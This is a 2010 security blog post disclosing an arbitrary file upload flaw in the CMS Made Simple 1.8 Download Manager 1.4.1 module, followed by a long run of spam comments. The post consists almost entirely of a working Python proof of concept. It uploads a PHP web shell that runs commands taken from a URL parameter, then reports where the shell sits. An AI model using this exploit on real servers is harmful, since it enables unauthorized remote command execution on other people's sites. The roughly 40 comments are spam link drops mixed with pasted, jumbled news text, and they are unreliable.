This site is soon to be deprecated by http://www.johnleitch.net

Sunday, July 11, 2010

CMS Made Simple 1.8 Download Manager 1.4.1 Module Arbitrary Upload

An arbitrary upload vulnerability in CMS Made Simple 1.8 Download Manager 1.4.1 Module can be exploited to upload a PHP shell.

PoC
import socket, re

host = 'localhost'
path = '/cmsms'
port = 80

def upload_shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)

s.send('POST ' + path + '/modules/DownloadManager/lib/simple-upload/example.php HTTP/1.1\r\n'
'Host: localhost\r\n'
'Proxy-Connection: keep-alive\r\n'
'User-Agent: x\r\n'
'Content-Length: 189\r\n'
'Cache-Control: max-age=0\r\n'
'Origin: null\r\n'
'Content-Type: multipart/form-data; boundary=----x\r\n'
'Accept: text/html\r\n'
'Accept-Encoding: gzip,deflate,sdch\r\n'
'Accept-Language: en-US,en;q=0.8\r\n'
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
'\r\n'
'------x\r\n'
'Content-Disposition: form-data; name="file"; filename="shell.php"\r\n'
'Content-Type: application/octet-stream\r\n'
'\r\n'
'<?php echo \'<pre>\' + system($_GET[\'CMD\']) + \'</pre>\'; ?>\r\n'
'------x--\r\n'
'\r\n')

resp = s.recv(8192)

http_ok = 'HTTP/1.1 200 OK'

if http_ok not in resp[:len(http_ok)]:
print 'error uploading shell'
return
else: print 'shell uploaded'

shell_path = path + '/modules/DownloadManager/lib/simple-upload/'\
+ re.search(u'shell_[^.]+\.php', resp).group(0)

s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\
'Host: ' + host + '\r\n\r\n')

if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found'
else: print 'shell located at http://' + host + shell_path

upload_shell()

54 comments:

  1. House of Fraser Voucher Codetexan culture Also referred to as intact dilation and evacuation, intact dilation and extraction refers to a form of late term abortion which is carried out in the fifth month of gestation or later

    ReplyDelete
  2. It has in place highly streamlined and efficient distribution channels and its products are sold across a hundred countries worldwide. forumlinkbuilding.com reviewsweb design belfast

    ReplyDelete
  3. Relative humidity should be increased to around 70% in the last three days of incubation to keep the membrane around the hatching chick from drying out after the chick cracks the shellholiday to barbadosSexy Lingerie

    ReplyDelete
  4. slimming teadecoratiefolieIn trying to overcome the political obstacles, the Obama administration could face opposition from those who say that any concessions to Russia are not worthwhile, given the major disagreements on foreign policy, human rights and concerns about corruption, and especially because the amount of trade with Russia is small. There were slightly more than $8 billion in American exports to Russia in 2011, compared, for instance, to more than $100 billion to China.

    ReplyDelete
  5. chroomfolie kopenhome decorating ideasIndeed, Mr. Romney’s campaign has warned donors and supporters that even with his victories in the coming contests, the Republican competition may very well last until at least the middle of May. They said the situation did not indicate diminishing prospects for Mr. Romney but rather was the result of the party’s delegate-allocation rules and the additional time those require for any candidate to accumulate the 1,144 delegates necessary to secure the nomination.

    ReplyDelete
  6. Wind Energy Tax CreditsBoston Website HostingDespite an American-led training effort that has spanned years and cost tens of billions of dollars, the Afghan security forces are still widely seen as riddled with dangerously unreliable soldiers and police officers. The distrust has only deepened as a pattern of attacks by Afghan security forces on American and NATO service members, beginning years ago, has drastically worsened over the past

    ReplyDelete
  7. tucson realtyRechtsanwalt SiegenThe two appeared at the presidential palace Monday in a handover ceremony cementing a power transfer deal that helped end months of protests and violence over Saleh's longtime rule.
    Before Hadi became acting president in November, protesters had taken to the streets demanding an end to Saleh's 33-year rule.

    ReplyDelete
  8. Augenklinikbrazilian blowoutRick Santorum at a forum for pastors last month in Texas.
    By SHERYL GAY STOLBERG and LAURIE GOODSTEIN
    Published: March 3, 2012
    RECOMMEND
    TWITTER
    LINKEDIN
    SIGN IN TO E-MAIL
    PRINT
    SINGLE PAGE
    REPRINTS
    SHARE

    GREAT FALLS, Va. — Rick Santorum was, in his own words, a “nominal Catholic” when he met Karen Garver, a neonatal nurse and law student, in 1988. As they made plans to marry and he decided to enter politics, she sent him to her father for advice.

    ReplyDelete
  9. auto folie kopencisco routersthey're the two most offensive candidates in the race. Not only that, but neither of them really stands a chance of winning the primary. Let's face it, we all know Romney will win the GOP primary because nobody else on the field has his electability.

    It all boils down to the independents. None of the GOP candidates has much of a chance of pulling in liberals; to us, they're all repugnant, though obviously some are more repugnant than others. If Republicans are smart, they will know that they can't win by choosing a hyper-conservative candidate; that will only scare off independents and ensure that liberals turn up in droves on election day to vote for Obama just to ensure that the GOP candidate doesn't win.

    ReplyDelete
  10. marijuana vaporizerwardrobeGingrich and Santorum couldn't get their campaigns together enough to get on the ballots. If a voter feels let down because of this, don't complain about the system - complain to those two candidates. Further, if a candidate can't organize enough to get on a ballot, we're supposed to think he'd do a swell job running a country?

    ReplyDelete
  11. affordable Powered wheelchairnewsletter publishingThere is a bigger problem here: We shouldn't have primaries at all, and especially not closed primaries where only the extreme left and right wing-nuts participate and thereby insure that no moderates need apply to run the country. What we should do is have "instant primaries" on the general election day. All the voters would get to choose, not just the small band of extremists we let pick our candidates today.

    ReplyDelete
  12. Catering Atlanta3 Mobile Voucher CodesThe Xoom generally impressed reviewers, but its sales disappointed from the start. Motorola was forced to cut the price of its Wi-Fi-only tablet to $499, the same as the iPad, just a few months later.
    Meanwhile, Samsung is throwing just about every size tablet out there to see what sticks. The original Galaxy Tab featured a 7-inch screen; the next was 10.1 inches; then came 8.9 inches.

    ReplyDelete
  13. Currys Discount CodesMiddle East Classified AdsTechnology is changing so quickly with new releases and new software, so it's really important to keep your skills up to date.
    "There are no easy answers, and it's a big problem for the industry. I would like to see employers running 'return to work' schemes to help women get their skills back up to date after a career break.
    "It would help them harvest that talent and would help everyone, but it needs investment."

    ReplyDelete
  14. “We did it again,” Mr. Santorum said, addressing jubilant supporters in Louisiana, which holds its Republican primary next week. “The time is now for conservatives to pull together.”

    A week after Super Tuesday cemented the status of Mr. Romney and Mr. Santorum as the leading Republican candidates, the outcome of the Alabama and Mississippi primaries strengthened Mr. Santorum’s argument that he should emerge as the final competitor to Mr. Romney. But Mr. Gingrich, who finished a close second in both states, buy facebook likes

    Web Design Lancaster

    ReplyDelete
  15. Fisher Space pens

    Blogs and Artciles“We will be increasing our delegate count in a very substantial way after tonight,” Mr. Romney said in a statement Tuesday evening, forgoing a traditional election night speech or victory rally. He added, “We are even closer to the nomination.”

    Early on Wednesday, Mr. Romney was able to add to his delegate tally for the day with an apparent triumph in Hawaii’s Republican caucuses, the A.P. reported, as well as a victory in American Samoa.

    ReplyDelete
  16. sign contracts online

    GCC Business Directory

    How on earth are "the lawyers" collecting millions in fees "[a]ll at taxpayers expense"?

    The private parties challenging the law are paying their lawyers from their own funds. Those funds are private funds, not tax dollars. The Solicitor General is paid by the taxpayers, sure, but he is salaried and gets paid whether he argues this case or another one. The same for the other members of the SG's office. And the same for the justices themselves. They, too, are salaried and get paid whether they hear this argument or arguments in some other case.

    ReplyDelete
  17. We really love your blog, i haven't seen you keeping the posts in in some time now. Is everything ok.
    I'd love to visit that random middle-of-nowhere pub!
    How great is the scenery, all nice and green.city hotels edinburghGumtree

    ReplyDelete
  18. Littlewoods Promotion Codes

    Gumtree

    The state-run Syrian Arab News Agency reported that Homs residents thanked Syrian troops Sunday "for restoring security and stability to their neighborhood and saving them from the horror of the armed terrorist groups."
    On Monday, SANA said authorities had killed and wounded members of an "armed terrorist group" that were trying to infiltrate Syria from Turkey.

    ReplyDelete
  19. tree services

    Miami Interior Designers
    The Syrian National Council -- an opposition coalition whose leadership resides outside of Syria -- has gained recognition from the United States, France and other countries as a legitimate representative of the Syrian opposition.
    Ausama Monajed, adviser to the president of the Syrian National Council, says his group already has a plan for a post-Assad era.

    ReplyDelete
  20. jobs

    cnc milling brisbane
    Yet even if the SNC becomes a facilitator while a new government is formed, it's uncertain who would lead that group at the time of an al-Assad ouster; the SNC presidency has a term of three months.
    A rebel military leader
    Although numerous armed opposition groups emerged after the government's crackdown started, a top military defector from the rebel Higher Military Council announced last week that rebel forces have united under the leadership of the Free Syrian Army.

    ReplyDelete
  21. Abogados en España

    Weightwatchers Promotion Code
    That's part of what Bashar has been doing ever since he came to power," Lesch said. "He has put members of his extended family ... in various parts of government and military security apparatus. If the day came -- and it did come -- where there was a threat to the regime, he could count on the loyalty of those closest to him."
    Here is a closer look at the al-Assad family, an authoritarian dynasty that has been in place for more than 40 years.

    ReplyDelete
  22. We really love your blog, i haven't seen you keeping the posts in in some time now. Is everything ok.
    I'd love to visit that random middle-of-nowhere pub!
    How great is the scenery, all nice and greegame pokerAuto Trader

    ReplyDelete
  23. mermaid wedding dresses

    hens night ideasElliott Abrams, a senior fellow for Middle Eastern studies at the Council on Foreign Relations, said Syria's agreement to Annan's plan is a "fraud" aimed at buying time.
    "They can keep on negotiating and drag this out, because with every passing week they kill more dissidents. I think what the regime is hoping is they can crush all of this before anybody moves to help the opposition," he said.

    ReplyDelete
  24. Igre igrice

    Compare the MarketWhen John Paul came "it was a different period in our history," said Camilo Ortiz, a 50-year-old Havana resident, but the former pontiff's visit still "had more power" than Benedict's.
    "During that time, there were many difficulties here," Ortiz added. "Now, there are some changes, and things are a little better."

    ReplyDelete
  25. Construction Lawyer Attorney NYC

    Capsiplex Reviews

    The processing power of a single core is not more than it was around 2005. Progress stopped there. These supercomputers simply add ever more cores, and count their combined performance as a single unit. For real applications the quoted performance peta, exa, etc, are pipedreams. There is nothing on the technological horizon to break out of this mold.

    Like Reply

    ReplyDelete
  26. balers

    architecture blogan opposition coalition whose leadership resides outside of Syria -- has gained recognition from the United States, France and other countries as a legitimate representative of the Syrian opposition.at the Council on Foreign Relations, said Syria's agreement to Annan's plan is a "fraud" aimed at buying time.

    ReplyDelete
  27. office furniture

    imitation breitling
    Well aren't you cynical? I'm sure there will be lots of foreign exploitation but there will also (hopefully) be an improvement in living conditions and basic human rights. Or do you think basic human rights aren't important at all?

    ReplyDelete
  28. MLS.ca

    Kitchen and Bath Design in various parts of government and military security apparatus. If the day came -- and it did come -- where there was a threat to the regime, he could count on the loyalty of those closest to him."
    Here is a closer look at the al-Assad family, an authoritarian dynasty that has been in place

    ReplyDelete
  29. red wine brands

    psicologos boadilla\

    I agree, China should re-unite the 2 nations, give them both a new religion, move people to one region and develop it very well, considering the population is also very low, China can move part of its population there and they can live there for 200-400 years, developing it and making it better for all.

    Like

    ReplyDelete
  30. como ganhar dinheiro extra

    air conditioning Denver
    Military leaders had planned to invite political parties and civilian representatives to the convention, said Capt. Amadou Sanogo, the junta leader.
    The international community -- including West African states, the African Union and the United States -- has called for the immediate restoration of constitutional rule. The African Union and ECOWAS have also slapped the military junta with travel and economic restrictions and have frozen its assets.

    ReplyDelete
  31. >replicas de relogios famosos

    psicologos el escorial
    "The withdrawal of the heavy weaponry will take place by April 10," he said. But he said Damascus needed a clear guarantee from Annan that once government troops pull back, "other parties will do the same and will not fill the vacuum."
    "Of course we are in favor of peace, but we want all of these external interferences in our domestic affairs to stop," he said.
    Diplomatic sources told CNN in February that a number of Arab nations were supplying arms to the Syrian opposition, but they wouldn't identify which countries. A Sunni Arab tribal leader from Iraq told CNN last week that he and some of his fellow leaders have been smuggling weapons across the border into Syria as well.

    ReplyDelete
  32. replicas de relogios Mont Blanc

    psicologos las rozas
    It is nothing but hypocritical that Assad claims to be fighting "Islamists" as Assad is the second biggest supporter of Terrorism in the ME after Iran. Assad arms and funds Hizballah, a terror organiztion recognized as such by the EU and US, as well as used to upto a year ago to support Hamas which headquarters resided in damascus.

    ReplyDelete
  33. poker facebook

    electronic cigaretteThe most important benefit of online shopping is that it allows people to browse through a number of products and categories and offer them facilities to compare the prices of products they have chosenThere is an abundance of cookies, cakes and other sugary snacks at home and

    ReplyDelete
  34. As an alternative for raised smells, we invent items for instance field glasses. In addition to rather then apparel regarding coat, we merely contain applications. Of course, in regards to trying to keep comfy these days, persons have a very massive selection attire from which to choose jam breitling tas butik super

    ReplyDelete
  35. Data analysis

    sheet metal fabricationWe really love your blog, i haven't seen you keeping the posts in in some time now. Is everything ok.
    I'd love to visit that random middle-of-nowhere pub!
    How great is the scenery, all nice and green

    ReplyDelete
  36. Thomas the Younger's daughter Mary Augusta Arnold, became a famous novelist under her married name of Mrs Humphry Ward, whilst Tom's other daughter, Julia, married Leonard Huxley, the son of Thomas Huxley and their sons were Julian and Aldous Huxley. Julia Arnold also founded in 1902 Prior's Field School a still existing girl's school in Godalming, Surrey.
    He died suddenly of a heart attack in the midst of his growing influence.
    car rental peoria il

    cute round frame

    ReplyDelete
  37. The rotor transports protons across the membrane, and is turned in the process. The rotor alone can operate at 6,000 to 17,000 rpm, but with the flagellar filament attached usually only reaches 200 to 1000 rpm. The direction of rotation can be switched almost instantaneously, caused by a slight change in the position of a protein, FliG, in the rotor.
    water ionizer

    Hand Sanitizer Stations and Refill

    ReplyDelete
  38. Al-dif.com ▻BAJU MUSLIMAH │ BUTIK BUSANA MUSLIMAH │ BAJU MUSLIM │ BUTIK BUSANA MUSLIM │SEPATU WANITA │ JILBAB │ BLOUSE ...

    ReplyDelete
  39. Demand for turnkey rental the past few years has increased — a function of foreclosures and fewer existing rental properties making the decision to buy

    ReplyDelete
  40. Juno_okyo's Blog - About Information Technology, Hacking & Security, Tutorial and more Trick & Tips...

    ReplyDelete